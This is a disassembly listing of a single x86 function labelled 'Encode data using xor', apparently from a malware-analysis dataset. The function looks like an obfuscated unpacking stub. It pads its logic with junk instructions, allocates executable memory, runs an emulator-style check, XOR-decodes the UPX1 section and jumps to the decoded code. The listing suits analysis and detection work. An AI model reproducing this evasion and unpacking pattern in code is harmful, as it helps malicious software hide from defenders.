Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xf048e2c6
inc eax
mov eax, 0x55611ee3
popal
or esi, eax
add eax, 0xbb930475
or eax, esi
mov esi, 0
mov eax, edi
sub edx, ebx
sub edx, ebx
add edx, 0x18b260ac
mov ecx, eax
or ebx, edx
sub edx, ebx
mov edi, ecx
sub edx, ebx
mov edx, 0x2e450c95
mov ebx, 0x19fce1f
add esi, 1
mov edx, 0x3f79d70d
mov ebx, 0xdd410a2b
cmp esi, 0x1005a5c
jne 0x47afd4
or edx, edx
sub ebx, edx
sub edx, 0x15feede7
cmp esi, 0x1005a5c
je 0x47b029
mov edx, 0
mov bl, byte [edx]
add ebx, 0x9ac5a1b2
not ebx
add ebx, 1
add esi, 1
sub esi, eax
mov esi, 0x47ada2
add eax, edx
mov edx, eax
mov ebx, 0x47af96
or edx, edx
add edx, 0xc04b11fb
inc edx
mov edi, dword [esi]
dec edx
add ecx, 0xb93cecb8
mov ecx, edx
and edi, 0xff
not ecx
mov ecx, 0x29d890c0
mov edx, ecx
xor dword [ebx], edi
mov eax, 0xb9f607d5
add eax, 0x575d116d
inc ebx
or ecx, edx
inc eax
inc eax
inc esi
sub eax, 1
add eax, edx
or eax, eax
cmp ebx, entry0
jl 0x47b056
add ecx, eax
add ecx, eax
inc edx
and eax, eax
sub esi, 1
mov ecx, 0x56dd242e
mov ebx, 0x47af9a
inc esi
mov esi, 0x552d9802
mov esi, 0xe0d3e2c5
mov ebx, dword [ebx]
sub edx, esi
add edx, 0xf7d8c3d6
mov ebx, dword [ebx]
add ecx, esi
and edi, edi
push ebx
dec ecx
sub edx, ecx
mov ebx, 0x47af96
not esi
add edx, esi
mov ebx, dword [ebx]
dec edi
add ecx, 0xed3ece3b
mov ebx, dword [ebx]
not esi
dec ecx
sub esp, 4
mov dword [esp], 0x47af9e
mov edi, 0xaf7a85ea
or edi, edx
inc ecx
call ebx
add ecx, ecx
and esi, esi
pop ebx
add edx, 1
or esi, edx
push 0x47afab
sub edi, 1
sub ecx, esi
and edi, esi
sub esp, 4
mov dword [esp], eax
sub edi, edx
not ecx
dec ecx
call ebx
mov esi, 0xfca88eab
add edi, 1
sub esp, 4
mov dword [esp], 0x40
add edx, esi
add ecx, edi
dec edx
push 0x3000
sub edx, 0x4d744016
not ecx
push 0x200008f6
and ecx, edx
inc esi
or edi, esi
push 0
add edi, 0x2d9cba
add ecx, 1
add esi, esi
call eax
and edx, ecx
inc esi
add eax, 0x2000085d
add esi, esi
or esi, ecx
or edi, edi
mov ebx, 0x9a9dfecd
mov edx, edi
dec ecx
mov dword [eax], ebx
sub esi, edx
not edx
inc ecx
mov ebx, dword [eax]
add esi, 1
add esi, edx
cmp ebx, 0x9a9dfecd
je 0x47b1a0
mov eax, 0
mov ebx, dword [eax]
sub ecx, 0x7732d40b
sub edi, 0xec676ebc
or edi, ecx
not esi
or eax, eax
add eax, 0x378a9f62
not esi
mov edx, section.UPX1
sub esi, eax
mov eax, esi
inc eax
mov edi, 0x47ada1
mov eax, 0xdba78dc9
sub esi, 1
dec esi
mov ecx, 0
not esi
and eax, eax
mov ebx, 0x47ada2
inc esi
add esi, 0xe78c0513
not eax
lea ebx, [ebx + ecx]
mov esi, eax
add esi, eax
sub esi, 1
mov ebx, dword [ebx]
not esi
and esi, esi
mov eax, 0x32164cce
and ebx, 0xff
and esi, eax
add eax, 0x51bc4139
dec eax
inc ecx
dec esi
sub eax, 0x12e04743
mov eax, 0x8ea6b879
cmp ecx, 0x1f4
jne 0x47b22d
mov ecx, 0
inc eax
dec esi
dec esi
add esi, 0x853c0f8a
not esi
xor dword [edx], ebx
mov eax, esi
mov eax, 0x2873b2c1
add edx, 2
add eax, 0x33519393
not eax
or eax, eax
cmp edx, edi
jl 0x47b1de
mov esi, eax
mov esi, eax
sub esi, 0x72dcbb0d
or esi, eax
mov esi, eax
mov ebx, section.UPX1
add esi, edi
dec edi
and edi, edi
mov edx, section.UPX1
or esi, esi
add edi, 1
mov eax, 0x47ada1
sub edi, 0x871c7111
not esi
mov ecx, 0
not edi
not edi
or edi, edi
mov cl, byte [edx]
mov edi, 0xe0bf69ee
or edi, esi
add esi, 0x9fc138be
mov byte [ebx], cl
sub esi, 0xe2c59b40
add edi, edi
inc ebx
dec esi
not edi
add edx, 2
inc esi
sub esi, edi
not edi
cmp edx, eax
jle 0x47b296
add edi, edi
and esi, edi
mov esi, edi
and esi, eax
mov eax, esi
not eax
push 0x45e6a0
add eax, eax
or eax, eax
ret